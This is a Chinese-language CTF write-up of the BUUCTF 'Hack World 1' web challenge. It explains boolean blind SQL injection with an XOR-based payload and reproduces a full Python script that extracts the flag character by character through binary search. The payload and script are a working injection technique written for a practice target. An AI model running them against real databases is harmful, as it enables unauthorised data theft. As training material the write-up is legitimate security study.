buuctf-web Hack World 1
阿新 • • 發佈:2020-10-18
我們開啟環境後發現這還是一道sql注入題
我首先隨便試了一下,
先輸入了0 顯示Error Occured When Fetch Result.
輸入1,顯示Hello, glzjin wants a girlfriend.
2的話是Do you want to be my girlfriend?
3顯示Error Occured When Fetch Result.
這應該是輸入大於2的資料就出錯了。我們再進行測試的時候發現它過濾了許多關鍵字
然後我在裡什麼都沒輸入,直接提交的話會出現bool(false),百度了一手,發現盲注一般分為布林盲注和基於時間的盲注和報錯的盲注。而這種就是布林的盲注
布林型:頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料
Length()函式 返回字串的長度 Substr()擷取字串 Ascii()返回字元的ascii碼 sleep(n):將程式掛起一段時間 n為n秒 if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
這是進行布林盲注的時候可能需要的一些函式,這時需要運用異或
然後我們用
1^1返回的是Hello, glzjin wants a girlfriend.
1^0返回的是Error Occured When Fetch Result.
然後我們可以通過上面的那些函式構造Pyload:
id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
這樣回顯就是正確的。
然後我查看了一手大佬的wp,看了一些人家寫的指令碼。
#!/usr/bin/python #-*-coding:utf-8 -*- import requests import re def flag_get(start,f,url): #確定start位的字元 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))' data= {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 def flag_find(start,f,url): #確定 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))' data = {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 if __name__ == '__main__': url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' flag_kouhao=125 flag='' num=1 #從第num位開始爆破 while 1: start=32 #ascii的起始範圍(10進位制) last=126 #ascii的終止範圍(10進位制) mid=int((start+last)/2) while 1: if(flag_get(num,flag_kouhao,url)): flag=flag+'}' print('flag is :'+flag) exit(1) print('strat is '+str(start)) print(' mid is '+str(mid)) print('last is '+str(last)) print('****************************************') if(flag_find(num,mid,url)): start=mid mid=int((start+last)/2) if ((last-start)<5): break else: last=mid mid=int((start+last)/2) if ((last-start)<5): break print(start) print(last) print('****************************************') for i in range(start,last+1): print(i) if(flag_get(num,i,url)): f=chr(i) flag=flag+f print('****************************************') print(' num is '+str(num)) print('char is '+f) print('flag is '+flag) print('****************************************') break num=num+1 print(flag)
一開始跑的時候提示我
這樣出錯了。我也不知為什麼。然後百度了一手,然後再試的時候結果就正確了。這一步讓我很迷茫其實。